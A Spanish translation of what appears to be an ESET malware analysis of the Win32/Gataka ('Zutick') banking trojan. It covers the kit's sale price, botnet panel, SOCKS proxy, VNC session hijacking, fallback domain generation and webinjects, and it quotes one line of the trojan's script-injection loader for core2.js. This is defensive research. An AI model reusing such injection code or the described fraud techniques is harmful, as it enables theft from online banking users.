El siguiente post es una traducción y adaptación de la publicación Win32/Gataka – or should we say Zutick? escrita por nuestro colega Jean-Ian Boutin de ESET Norteamérica.

Win32/Gataka es un troyano diseñado para robar información. No es primera vez que hablamos sobre esta amenaza en el blog. En dos ocasiones anteriores habíamos analizado algunos aspectos técnicos tanto en el post Win32/Gataka: ¿Troyano bancario listo para despegar? como en la publicación Win32/Gataka: troyano bancario analizado en profundidad, sin embargo, en esta oportunidad estaremos compartiendo con ustedes algunos hallazgos nuevos relacionados a este código malicioso. Hace poco, encontramos un post del autor de Gataka en un foro underground en donde intentaba vender este troyano. En el mensaje se podía apreciar un archivo de ayuda que detallaba el funcionamiento interno de este malware. A continuación detallaremos los aspectos más interesantes de ese fichero de ayuda.

Primero es importante destacar que el autor de esta amenaza está intentando vender este kit bajo el nombre “Zutick”. El precio que pide es $3,300 dólares tanto por el panel de control como por el constructor. La documentación explicita que este troyano es capaz de funcionar en todas las versiones de Windows (32 y 64 bit) y que no requiere de privilegios administrativos para funcionar adecuadamente. Asimismo, se ofrecen varios plugins que facilitan el robo de información sensible a través de la inyección de código en el navegador web del host infectado. En el texto se afirma que los principales browsers son soportados: Internet Explorer, Firefox, Chrome, Opera y Safari.

Panel
El panel ofrece varias características para rastrear y administrar esta botnet. Esta amenaza puede enviar automáticamente notificaciones a Jabber sobre las estadísticas de cada computadora infectada. Entre otras cosas, permite comprobar qué programas están instalados y actualmente ejecutándose en el zombi. El botmaster tiene el poder de decidir si permitir o denegar la ejecución de un proceso en particular a través de una lista blanca y  negra. Otra característica interesante es que un algoritmo de generación de dominio (DGA – Domain Generation Algorithm) está disponible como un mecanismo de reserva si las URL del cliente son dadas de baja. El siguiente párrafo describe otras funciones llamativas que fueron encontradas en esta documentación.

Proxy SOCKS
El plugin SOCKS soporta SOCKS4, SOCKS5, y los protocolos HTTP y HTTPS. A través de este componente es posible configurar una shell en la computadora infectada. Las siguientes imágenes explican cómo modificar los parámetros necesarios para hacer funcionar el proxy SOCKS (los comentarios originales estaban en ruso, por lo tanto, ESET los tradujo al inglés para que los lectores puedan entenderlos):

Elección del país del servidor proxy:

Elección del país del proxy

Elección del bot exacto:

Bot exacto

Administrador de tareas
A través del panel de administración, el botmaster puede enviar comandos a uno o múltiples bots. En la siguiente imagen es posible apreciar cómo se puede copiar remotamente un archivo en el sistema infectado para posteriormente ejecutarlo:

Administrador de tareas

VNC
Win32/Gataka provee una interfaz gráfica (GUI) para controlar un sistema mediante una sesión VNC. Por ejemplo, puede tomar el control de un navegador del equipo infectado para manipular una sesión segura. Esto le resulta útil al cibercriminal para hacerse pasar por el usuario para realizar acciones fraudulentas en su nombre. A continuación aparece una captura en donde se puede apreciar las etapas necesarias para configurar una conexión VNC y la interfaz gráfica utilizada para controlar al host remoto.

VNC

VNC 2

Webinjects
Todas las inyecciones web son almacenadas en el centro de comando y control (C&C) y pueden ser enviadas a los bots. La siguiente imagen muestra cómo manejar la importación y envío de inyecciones web a la computadora comprometida.

Webinject

Lista de inyecciones web activas en el (C&C):

También existe una función especial para convertir cualquier inyección web de Zeus en un formato compatible con Gataka.

La documentación también menciona que existe un motor JavaScript embebido en uno de los plugins. Esto permite inyecciones web ocultas debido a que los scripts inyectados no se ejecutan mediante el motor del navegador, de este modo, se saltan sistemas de seguridad. A través de este plugin, el código JavaScript tiene acceso total a las funcionalidades del bot o plugin. Esta plataforma denominada core2.js, puede ser incluida en cualquier inyección de código web utilizando la siguiente sintaxis:

<script>document.write("<script type='text/javascript' src='"+window.location.protocol+'//'+window.location.host+((window.location.protocol.indexOf('https')===-1)?":88":":444")+"/tatangakatanga/x.php?cmdid=8&gettype=js&id=core2.js&uid=%_uidpage_%'></scr"+"ipt>");</script>

Ahora analizaremos el modo en que la inyección web puede interactuar con el plugin instalado en el sistema infectado. Nótese la utilización del puerto 80 para el tráfico HTTP y 444 para HTTPS. Esos puertos son monitoreados por la plataforma principal y puede ser utilizado para enviar comandos desde JavaScript a la plataforma principal. Mediante esta técnica, se pueden descargar diferentes tipos de contenidos: imágenes, scripts, HTML, etc. El contenido deseado es especificado en el argumento “gettype”. Por otro lado, el argumento “cmdid” puede ser utilizado para especificar otras acciones que deben ser conducidas desde la plataforma principal. La siguiente captura muestra algunas funciones del archivo core2.js del sistema JavaScript.


Como se observa anteriormente, la inyección web puede enviar una instrucción a la plataforma principal para capturar un video del sitio web actual. También puede guardar información en llaves del registro para enviarla después. Esta técnica permite que el cibercriminal almacene el monto y número de cuenta que utiliza la víctima durante una transferencia bancaria. Este método aparece en el siguiente archivo de inyección web que fue descargado por una de las campañas que estuvimos monitoreando en los últimos meses:

Conclusión
Las capacidades de inyección web de este troyano son bastantes interesantes. La idea de tener un módulo JavaScript centralizado para utilizarlo como método de acceso a todas las funcionalidades de la plataforma principal es particularmente llamativo. Continuaremos analizando este código malicioso para detectar nuevos desarrollos.

Traducido y adaptado por André Goujon
Especialista de Awareness & Research